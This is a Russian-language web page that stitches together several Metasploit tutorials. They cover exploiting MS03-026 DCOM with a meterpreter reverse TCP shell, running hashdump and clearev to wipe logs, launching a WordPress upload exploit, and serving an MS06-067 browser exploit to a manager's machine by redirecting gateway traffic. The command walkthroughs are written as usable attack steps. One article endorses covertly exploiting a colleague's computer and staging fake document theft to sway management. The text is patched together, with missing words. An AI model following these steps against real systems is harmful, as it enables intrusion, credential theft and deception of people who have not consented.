Metasploit технология. Исследование уязвимостей с помощью Metasploit Framework


Оригинал: Penetration Testing with Metasploit Framework
Автор: Dinesh Shetty
Дата публикации: июль 2011 г.
Перевод: В. Семененко
Дата перевода: июль 2011 г.

Введение

Наверняка, когда я произношу - "Инструмент для пентестинга" ("Penetration Testing tool"), первое, что приходит вам в голову при упоминании этих словосочетаний - имя . И не мудрено! Этот проект является одним из крупнейших в мире, написанных на языке Ruby . Суммарное колличество его строк превышает 700 000! На сегодня является стандартом де-факто для пентестинга и поиска уязвимостей. Колличество ежегодных скачиваний экземпляров программы зашкаливает за один миллион. Проект также обладает самой большой в мире общедоступной базой данных для проверенных и качественных эксплоитов .

В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc . Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole , как показано на скриншоте Figure3 .

Шаг 4 :

Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom . Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.

Шаг 5 :

В общем случае запуск команды use запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

Как видно на скриншоте Figure4 , после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) > . Это означает, что мы перешли во временное окружение этого эксплоита.

Шаг 6 :

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135 . Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST .

Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129 ., как на скриншоте .

Шаг 7 :

Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload"ов можно увидеть с помощью команды show payloads .

Как видно на скриншоте , команда show payloads покажет нам все payload"ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter , задав его командой set PAYLOAD windows/meterpreter/reserve_tcp , что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.

Обратите внимание, что параметр LHOST для payload"а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128 .

Шаг 8 :

Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте хорошо видно, что в нашем случе это именно так.

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.

В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check .

Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.

На скриншоте видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter > .

Шаг 9 :

Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

Ниже показаны результаты некоторых команд meterpreter:

  • ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
  • getuid - отображает имя сервера в консоли;
  • hashdump - создает dump базы данных SAM;
  • clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.

Таким образом, мы успешно использовали фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

Потенциальные возможности использования фреймворка Metasploit:

  • может использоваться при пентестинге для создания отчетов, совместно с другими системами автоматического обнаружения уязвимостей. С помощью этого фреймворка можно установить, являются ли уязвимости реально опасными и можно ли ими воспользоваться для проникновения в систему.
  • может использоваться для тестинга новых эксплоитов, которые появляются буквально каждый день. Такую проверку вы можете делать на локальном сервере, специально предназначенном для этих целей. С помощью этого фреймворка вы легко можете проверить, эффективен ли новый эксплоит или нет.
  • также является великолепным инструментом в ваших системах пентестинга для проверки, настроены ли должным образом IDS в случае возникновения атак.

Заключение

Эта статья является поверхностным обзором по использованию фреймворка . Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с , приобретенный в этой статье, поможет вам понять принципы работы эксплоитов. Что может в дальнейшем быть хорошим подспорьем для написания своих собственных эксплоитов . А это, в свою очередь, поможет вам выполнять задачи пентестинга на более высоком и качественном уровне.

Metasploit Exploitation Framework - это инструмент для тестирования на проникновение. Он содержит большую базу эксплойтов, позволяет использовать их прямо из Metasploit. Существует две версии Metasploit, в этом уроке я рассматриваю бесплатную версию.

searchsploit - это инструмент для поиска эксплойтов. Содержит базу, по моим наблюдениям, более обширную, чем Metasploit. Но не содержит функции использования эксплойтов.

На всякий случай, разберёмся с терминологией. Эксплойт – это готовая программа, которая, используя конкретную уязвимость, автоматизирует процесс проникновения или повышения прав или другое несанкционированное действие, которое является следствием уязвимости.

Обе программы не сложны, но нужно знать, что и как там делать. Обе эти программы включены в Kali Linux «из коробки». Поэтому, возможно, вас также заинтересуют статьи:Я буду рассматривать работу с этими программами в Kali Linux , но на самом деле, эти утилиты можно установить на любой Linux.

searchsploit

Это программа только для поиска известных эксплойтов. Чтобы вывести справку по ней, наберите в командной строке:

Searchsploit -h

Всё просто как 5 копеек:
Ключ -c для выполнения чувствительного к регистру поиска.

Ключ -v для подробного вывода, линии с описанием могут переполнять их колонки.

На мой взгляд, обе опции не несут ничего интересного. Для поиска просто набираете searchsploit и ключевые слова (можно несколько), разделённые пробелом:

Searchsploit phpmyadmin


Searchsploit wordpress

Думаю, идея понятна. Можете искать по конкретным приложениям (и их версиям), операционным системам, плагинам и т. д.

Давайте посмотрим внимательно на вывод: есть файлы следующих типов: .c, .pl, .txt, .sh, .php, .rb, .py, .zip, .java, .asm, .htm и др.

Файлы с расширением .txt можно только читать - открывайте его любым блокнотом и читай об уязвимости. Содержимое этих файлов, обычно, следующее: описание уязвимости, пример использования, источник, информация о подверженных уязвимости версиях и т. д.

Файлы с расширением .rb написаны на языке Ruby, запускать их нужно так:

Ruby + пробел + расположение файла.

Пример:

Ruby /usr/share/exploitdb/platforms/php/webapps/28126.rb

Некоторые файлы.rb выдернуты из Metasploit. Если при обычном запуске программа жалуется на отсутствие чего-то, а в коде программы встречается строка

Require "msf/core"

то самый простой способ запуска - найти этот же плагин в Metasploit и запустить его оттуда

Файлы .c нужно компилировать.

Файлы .php запускать из командной строки. При чём если Ruby может выводить диалоговые окна для ввода данных, то в PHP нужно сразу задавать необходимые аргументы в командной строке через пробелы после имени файла (ну или прописывать в коде скрипта, если это предусмотрено).

Например

Php /usr/share/exploitdb/platforms/php/webapps/35413.php сайт Alexey 50

Файлы .pl написаны на языке Perl, перед именем файла, для запуска, нужно ставить perl. Аргументы передаются в командной строке (или вписываются в исходный код) как и с PHP.

Думаю, с поиском всё предельно просто. С конкретным применением - зависит от конкретного эксплойта. Переходим к Metasploit.

Metasploit

Программа Metasploit расположена в меню в двух местах. Самый быстрый способ - это найти её среди 10 самых популярных приложений. Там она называется Metasploit Framework. Запуск каждый раз занимает какое-то время, поэтому просто ждём:

Если программа пишет вам что-то про базу данных и про медленный поиск, то воспользуйтесь . А также можете вручную пересобрать кэш:

Msf > db_rebuild_cache

Для поиска наберите search + пробел + ключевые слова. Например:

Msf > search wordpress

Расширьте окно терминала, как это сделал я, иначе ничего непонятно.

В выводе должно быть всё понятно: первый столбец - расположение эксплойта, второй - дата, третий - ранг (насколько хороший среднестатистический результат), четвёртый - краткое описание.

Думаю, хакеры не любят WordPress за его автообновления, т. к. все известные уязвимости протухают в первый же день.

Я выбрал, например, этот:

Exploit/unix/webapp/wp_downloadmanager_upload 2014-12-03 excellent WordPress Download Manager (download-manager) Unauthenticated File Upload

Нужно скопировать его расположение - exploit/unix/webapp/wp_downloadmanager_upload

И теперь набираем команду use и после пробела расположение эксплойта.

Msf > use exploit/unix/webapp/wp_downloadmanager_upload

Обратите внимание, что строка приветствия сменилась на:

Теперь набираем:

(работает для всех эксплойтов - отображает варианты настойки).

Как минимум, нам нужно задать удалённый хост. Все настройки делаются через команду set

Например:

Set RHOST сайт

В данном эксплойте можно больше ничего не менять. Но обратите внимание на TARGETURI . В отдельных эксплоитах, например, для phpMyAdmin, этот параметр изначально задан как phpmyadmin и если целевой скрипт находится в другом каталоге, то эксплойт просто не найдёт адрес.

Для начала выполнения эксплойта наберите

Думаю, общие принципы работы понятны.

Порекомендую ещё одну команду, чтобы было понятно, в какую сторону нужно копать, для чего искать эксплойты, какие порты открыты и для каких служб и т. д. Это команда nmap Обзор разделов инструментов Kali Linux 1.0.9a. Часть 2. Инструменты для сбора информации “.

Заключительные слова

Скажу честно, базы эксплойтов меня разочаровали: я слежу за обновлениями самых популярных веб-приложений (phpMyAdmin, WordPress, Drupal и т. д.) и за последние месяцы в списках изменений мелькало достаточно много закрытых уязвимостей. Под большинство из них я не нашёл эксплойтов. Возможно, это касается только эксплойтов для веб-приложений. Вполне возможно, что для операционных систем и программ всё намного интереснее. Отсутствие в паблике эксплойтов на свежие версии популярных веб-приложений я связываю с тем, что: а) не так уж и просто потенциальную уязвимость раскрутить, хотя бы, до работающего концепта; б) самые интересные эксплойты собраны в закрытых базах, возможно, доступных за плату или только для определённого круга лиц.

ПАВЕЛ ТРОИЦКИЙ

Исследование уязвимостей с помощью Metasploit Framework

Учиться никогда не поздно, а учить других – приятное занятие... Из этой статьи вы сможете узнать о том, как просто и наглядно можно продемонстрировать работу большинства уязвимостей с помощью Metasploit Framework.

Всё что ни случается в жизни – к лучшему... В одно субботнее утро мне пришлось отважно поработать. Согласитесь, не самое приятное занятие, особенно в свой выходной день. Нона ситуацию можно посмотреть и с другой стороны.

Через несколько часов утренней работы, когда я освободился и пребывал в состоянии сна на ходу, меня уже не тянуло домой. Я плыл по коридору, где стояла убаюкивающая тишина по сравнению с шумными буднями. Не помню как, наверное, сработало любопытство, услышав издалека характерные непрекращающиеся звуки быстрого нажатия клавиш на клавиатуре, я на автопилоте изменил курс и пришвартовался в соседнем отделе.

Люблю наблюдать за увлечённо работающими людьми. Оказалось, мой тёзка и коллега сидит за двумя своими мониторами и что-то решает. Я мягко приземлился в одно изпустующих кресел, включил чайник и стал ждать.

Пашок вернулся к жизни и заметил меня лишь только когда чайник закипел и громко щёлкнул своим термовыключателем на всю комнату. Видимо, сработало то, что чайник он неставил.

Увидев меня, он быстро заварил себе кофе, сел обратно на своё место и явно обрадовался тому, что сможет излить мне свою душу во время чаепития и найти понимание. Так и оказалось. Он решал одну интересную задачу, которую ему поставил шеф, с микроконтроллерами, при этом думая и о другом задании, на которое времени не хватало.

Второе задание было более интересным, чем первое, я постараюсь описать его вам, а далее предложить придуманное нами решение.

Закрытый код – враг народа?

Не секрет, что технический отдел с его руководством косо посматривают на тех, кто использует программы с закрытым кодом, к тому же содержащие много уязвимостей. Когда руководство компании понимает проблему, это хорошо. Техническому отделу дается зелёный свет, и вся организация переходит на более правильные и безопасные для фирмы решения.

Но бывают и другие случаи, когда руководство, опираясь на мнение друзей и знакомых, делает вид, что разбирается, а на самом деле это не так.

Например, не все оценивают преимущества новых версий Linux, OpenOffice или браузера Mozilla Firefox (по сравнению с их закрытыми и не всегда стабильно работающими аналогами: Windows, MSOffice или IE).

Люди инертны, привыкли к чему-то и менять ничего не хотят. Рыба гниёт с головы – бывают случаи, когда руководство не допускает технический отдел к своим компьютерам (особенно ноутбукам), являясь не только источником нарушений безопасности, но и первой целью для происков конкурентов.

Цель задания состояла в том, чтобы вернуть авторитет техническому отделу, прочитать ознакомительную лекцию для персонала и провести в жизнь решения по установке ипереходу на более безопасные Open Source аналоги, мотивируя это не своим желанием, а приказом руководства, стоящего над техническим отделом.

Задача, кажется, ясна, если у вас есть многолетний опыт, наверняка вы смогли в ней увидеть что-то пересекающееся из своей жизни или похожее. Давайте рассмотрим случай решения, когда хитрость идёт на пользу общему делу. Если у вас есть более интересные решения – пишите на форум журнала, обсудим!

Решение

Как действовать? Так как Глобальной сетью пользуются практически все, а она представляет немалую угрозу любому подразделению, то поставим цель – отучить пользователей использовать IE.

Если обратиться к классике, то существует не так много различных подходов к решению проблем :

  • если сделать проверку на используемый браузер и отключить обращения IE в сеть на прокси-сервере, то это будет не самое лучшее решение, а администратора можно будет классифицировать как «маньяка»;
  • если удалить всем пользователям IE, то это будет администратор-«идиот», и проблема также не решится;
  • если пытаться пакостить пользователям, запускающим IE, это будет администратор-«фашист» – успеха он тоже не добьётся, так как будет все силы тратить на борьбу со следствием.

Наиболее правильно – это пойти на хитрость и бороться с причиной. Представьте, если все пользователи осознанно откажутся от какого-то решения, то какой будет смысл в мире бизнеса производителю продвигать это решение?

Наиболее удачно для нашей задумки подходит тип администратора «технический бандит».

Мы изучим различные нюансы работы браузеров и существующие в них уязвимости, поставим специальные программы, демонстрирующие скрытые возможности, возникающие из-за ошибок, и тем самым заставим руководство принять правильное решение.

Проверь систему на уязвимость

Очевиден факт, что в любой большой программе есть ошибки. Это практически все понимают, и начальство в том числе. Поэтому для проверки сетей и отдельных хостов давно придумали различные сканеры. Но не все понимают специфику их работы.

Если Nessus, Shadow Security Scanner, nmap, XSpider и другие в какой-то мере удобны и успели себя хорошо зарекомендовать, то опираться на их результаты следует с пониманием происходящего.

Например, как быть со случаем, когда исполнение какого-либо кода (содержащего уязвимость) происходит со стороны пользователя, а не инициируется внешним сканером? Несекрет, что многие, просканировав свой компьютер (или сервер) и не обнаружив открытых портов и уязвимых сервисов, ошибочно думают, что их системы в полном порядке.

Мы попытаемся доказать эту ошибку на примере браузера IE с помощью программы Metasploit Framework.

План действий. Немного теории

Получая различные рассылки по вопросам безопасности или посещая сайты по подобной тематике, периодически встречаешь информацию о различных уязвимостях. Такая-то уязвимость позволяет передать клиенту и выполнить на его стороне какой-либо код, такая-то просто завершает приложение.

В теории получается следующее: вы заходите на сайт XXX, а у вас вместо этого открывается окно терминала, где запускается команда «format с:».

Пример утрирован, но, если вам в это сложно поверить, к концу статьи вы сможете провести аналогичный эксперимент у себя.

The Metasploit Project

Это проект , созданный фирмой Metasploit LLC, содержащий полезную информацию для людей, занимающихся пополнением баз данных для СОА (систем обнаружения атак), а также исследованием уязвимостей и того, как они работают.

Цель ресурса – собрать различную информацию об известных эксплоитах и уязвимостях вместе с реализующими их кодами, чтобы эта информация была доступна администраторам безопасности и разработчикам.

На сайте содержится несколько разделов, содержащих полезную информацию.

Нам понадобится раздел Framework (см. рис. 1), посвящённый платформе, на которой можно реализовать наш план.

Ищем Download внизу и скачиваем framework-3.2.tar.gz.

Установка Metasploit Framework

Ранее программа была доступна только через CLI (интерфейс командной строки), в связи с чем была известна только в узких кругах.

Недавно появилась поддержка GUI (графического интерфейса), что сделало программу более привлекательной для менее опытных пользователей (особенно наличие версии программы под Windows). Хорошо это или плохо, сказать сложно. Мы выберем версию под Linux и GUI-интерфейс.

В качестве операционной системы взята недавно вышедшая Fedora 10. Конечно, она не без проблем. Скорее всего, через полгода – год мелкие проблемы будут решены, и она станет рабочей платформой для многих администраторов, а пока она очень подходит для наших экспериментов. Если взять более ранние версии (Fedora 8, 9), то принципиальных различий в установке быть не должно.

Для работы графического интерфейса необходима установка языка Ruby и библиотек:

  • ruby-1.8.6.287-2.fc10.i386.rpm;
  • ruby-libs-1.8.6.287-2.fc10.i386.rpm;
  • ruby-gtk2-0.18.0-2.fc10.i386.rpm;
  • ruby-libglade2-0.18.0-2.fc10.i386.rpm;
  • ruby-atk-0.18.0-2.fc10.i386.rpm;
  • ruby-cairo-1.8.0-1.fc10.i386.rpm;
  • ruby-gdkpixbuf2-0.18.0-2.fc10.i386.rpm;
  • ruby-glib2-0.18.0-2.fc10.i386.rpm;
  • ruby-gnome2-0.18.0-2.fc10.i386.rpm;
  • ruby-gnomecanvas2-0.18.0-2.fc10.i386.rpm;
  • ruby-libart2-0.18.0-2.fc10.i386.rpm;
  • ruby-pango-0.18.0-2.fc10.i386.rpm.

Сделать это можно либо вручную через команды:

rpm -ihv *.rpm

либо через:

yum install ...

тогда достаточно указать лишь первые четыре пакета, все остальные будут определены как зависимые и установятся сами.

Следующим этапом надо распаковать скачанный архив framework-3.2.tar.gz в какую-либо директорию, зайти в неё и с правами администратора запустить файл msfgui.

Права администратора (root) нужны для того, чтобы программа могла открывать сокеты на прослушивание на любом порту (например, на 80-м, протокол TCP).

Запуск программы

Теперь, выбирая уязвимости (в базе Metasploit Framework их немало), мы можем попытаться реализовать сервер, который сформирует код, который будет передан клиенту, для выполнения на его стороне. А далее выполним проверку клиента на уязвимость. В качестве уязвимой машины была выбрана первая находившаяся под рукой, а именно с Windows 2003 и IE 6.0 (cм. рис. 5). Кстати, некоторые администраторы, не утруждая себя, часто ищут что-то в Сети по интересующим их вопросам прямо из консоли сервера, при этом ставить альтернативные браузеры они не собираются, мотивируя это тем, что подобные выходы в Интернет «на коленке из серверной» у них редки. Замечу, чтобы скомпрометировать сервер, достаточно одного случая!


А далее ситуация проста: главная задача – заманить жертву или всезнающего шефа на наш компьютер. В Интернете подобное решается социальным способом, то есть обходным путём. Например, с помощью размещения различных баннеров либо переадресацией с помощью popup-окошек с уже заражённых сайтов. Такое часто встречается на сомнительных сайтах (бесплатное скачивание коммерческих программ, порносайты и пр.), предлагающих кликнуть на какой-нибудь баннер.

В локальной сети, будучи её администраторами, мы можем завернуть обращение на шлюзе куда нам надо, а после показать шефу, что любой вполне безобидный сайт может творить чудеса с его компьютером (запускать другие приложения, копировать его документы и пр.), при условии что у него даже может быть запущен антивирус.

Конечно, всё это многообразие действий зависит от вашей фантазии, а цель статьи лишь показать направление и что такое возможно. Поэтому мы ограничимся лишь одной уязвимостью в качестве примера и запустим какую-нибудь безобидную программу на компьютере жертвы, например «Калькулятор». Не секрет, что для написания статьи, чтобы никого не обманывать, в течение получаса пришлось перебирать уязвимости, чтобы найти работающую в данной конфигурации.

В качестве уязвимости была выбрана описанная в Microsoft Security Bulletin MS06-067 – выбираем эту уязвимость в базе программы (см. рис. 6).

Прописываем порт 8081 и команду для запуска на машине с уязвимым бараузером «c:\windows\system32\calc.exe» (см. рис. 8).

Замечание: если вы хотите прописать 80-й порт, а у вас работает httpd-сервер, то не забудьте его остановить, например, командой:

# service httpd stop

или:

# /etc/rc.d/init.d/httpd stop

иначе непонятно, какая из двух программ должна прослушивать порт на входящие соединения. С этой целью в примере взят порт 8081, который заведомо будет свободен.

После подтверждаем настройки (см. рис. 9) и в списке висящих заданий (jobs) у нас появляется новая задача (см. рис. 10).

Окно машины жертвы (см. рис. 11).

Заключение

Конечно, данный пример тривиален, и для того чтобы поразить окружающих или вашего шефа, лучше его модифицировать, учитывая специфику. Мы так устроены, что какое-либо действие (изменения) привлекают нас больше, поэтому для людей, не очень понимающих, как осуществляется переполнение буфера, лучше вместо калькулятора запустить архиватор с ключами, чтобы в окошке была анимация, например «бежало» число процентов сжатых файлов из папки «Мои документы\конфиденциально». Тогда и сказать, что этот сайт нацелен на сбор информации с компьютера вашего шефа, будет проще и ваши аргументы будут весомее. Раз сайт запустил архиватор, а не какой-нибудь калькулятор, то проблема намного серьёзнее. Хотя надеюсь, что большинство читателей, читая эти строчки, улыбнутся лишний раз.

Также эту статью и пример можно использовать в образовательных целях. Чем не пособие для преподавателей на курсах по безопасности или в вузах по проведению демонстраций или лабораторных работ? Выполнять такую лабораторную работу студентам будет куда интереснее, чем обсчитывать не всегда понятные результаты.

Если вы задумались, а не пора ли вам обновить/сменить систему или бразуер, то значит, вы на верном пути!

  1. Робачевский А. М. Операционная система UNIX. – СПб.: БХВ-Петербург, 2002, ISBN 5-8206-0030-4.
  2. Сайт проекта The Metasploit Project, содержащего информацию и эксплоиты по различным уязвимостям, – http://metasploit.com .
  3. Уязвимость Microsoft Security Bulletin MS06-067 – http://www.microsoft.com/technet/security/Bulletin/MS06-067.mspx .

Вконтакте

Практического руководства по использованию дистрибутива Kali Linux для аудита ИБ и проведения пен-тестов. Сегодня же мы обратим пристальное внимание на один из инструментов входящих в данный дистрибутив - Metasploit Framework . Рассмотри историю возникновения проекта, а так приведем конкретные руководства и документации способствующие практическому освоению пакета Metasploit

История проекта

В 2003 году, хакеру, известному как «HD Moore» , пришла в голову идея разработать инструмент для быстрого написания и использования эксплоитов . Так на свет появился известный во всех кругах проект Metasploit project .

Первая версия фреймфорка была написана на языке Perl, содержавшая псевдографический интерфейс на базе библиотеки curses. На тот момент это был просто набор разрозненных эксплойтов и скриптов, общие сведения о которых хранились в единой базе данных. Информация о необходимом окружении для запуска скриптов, как правило, отсутствовала. Также они несли в себе кучу устаревшего кода, требовали модификации жестко прописанных путей для каждого конкретного случая, что весьма затрудняло рабочий процесс и усложняло разработку новых инструментов.

При работе над второй (2.x) версией к HD Moore присоединился Мэтт Миллер и еще несколько добровольцев. Третья версия была полностью переписана на Ruby, её разрабатывала компания Metasploit LLC (основанная вспе теми же разработчиками в 2006 году). Через год в 2008 лицензия Metasploit Framework была сменена с проприетарной на BSD. А еще позднее в 2009 году фирма Rapid7 , занимающаяся управлением уязвимостями, объявила о приобретении Metasploit , программного пакета двойного назначения для проведения тестов на проникновение . Так же сообщалось, что некоммерческая версия утилиты по-прежнему будет доступна для всех желающих.

С момента приобретения фреймфорка, многое изменилось.

Появились PRO и Community версии, а в 2010 году, в свет вышла более упрощенная версия для «малоквалифицированных» пользователей - Metasploit Express .

Версии

Сегодня Metasploit распространяется в четырех версиях:

  • Framework - базовая версия с консольным интерфейсом;
  • Community - бесплатная версия, включающая дополнительно веб-интерфейс и часть функционала из коммерческих версий;
  • Express - для коммерческих пользователей, включает функционал, позволяющий упростить проведение базовых аудитов и формирование отчетности по ним;
  • Pro - самая продвинутая версия, предоставляет расширенные возможности для проведения атак, позволяет формировать цепочки задач для аудита, составлять подробную отчетность и многое другое.
Помимо веб-интерфейса, доступного в версиях Community, Express и Pro, существуют такие проекты, как Armitage и Cobalt strike , предоставляющие дружелюбный и интуитивно понятный GUI-интерфейс для фреймворка.

Armitage графическая оболочка

По сравнению с остальными интерфейсами Armitage позволяет в наглядном виде представить все этапы атаки, включая: сканирование узлов сети, анализ защищенности обнаруженных ресурсов, выполнение эксплоитов и получение полного контроля над уязвимой системой.

Все функции программы структурированы и легкодоступны из меню и вкладок программы, даже для начинающего исследователя компьютерной безопасности. Программа предназначена для использования на платформах Linux и Windows. На веб-сайте разработчиков присутствуют исходные коды, справочные руководства в текстовом и видео формате.

Базовые понятия

1. База данных

До начала работы с пакетом нужно учесть возможность использования базы дынных, для хранения информации о хостах, сервисах, уязвимостях и прочем. Подключение к базе весьма не обязательное условие для функционирования фреймворка, но тем не менее повышающее удобство использоавния производительность.

Metasploit использует PostgreSQL, поэтому до начала работы с ним понадобится установить СУБД на свою систему. Затем убедиться, что запущены нужные сервисы БД и фреймворка.

2. Структура фремворка

«Сердце» Metasploit - библиотека Rex. Она требуется для операций общего назначения: работы с сокетами, протоколами, форматирования текста, работы с кодировками и подобных. На ней базируется библиотека MSF Core , которая предоставляет базовый функционал и «низкоуровневый» API. Его использует библиотека MSF Base, которая, в свою очередь, предоставляет API для плагинов, интерфейса пользователя (как консольного, так и графического), а также подключаемых модулей .

Все модули делятся на несколько типов, в зависимости от предоставляемой функциональности:

  • Exploit - код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение стека)
  • Payload - код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее)
  • Post - код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы)
  • Encoder - инструменты для обфускации модулей с целью маскировки от антивирусов
  • NOP - генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер

    Auxiliary - модули для сканирования сети, анализа трафика и так далее.

3. Общие команды MSFCONSOLE

Несмотря на наличие графических интерфейсов, самым распространенным способом работы с Metasploit по-прежнему остается консольный интерфейс msfconsole .

Рассмотрим основные команды:

  • use - выбрать определенный модуль для работы с ним;
  • back - операция, обратная use: перестать работать с выбранным модулем и вернуться назад;
  • show - вывести список модулей определенного типа;
  • set - установить значение определенному объекту;
  • run - запустить вспомогательный модуль после того, как были установлены необходимые опции;
  • info - вывести информацию о модуле;
  • search - найти определенный модуль;
  • check - проверить, подвержена ли целевая система уязвимости;
  • sessions - вывести список доступных сессий.






2024 © gtavrl.ru.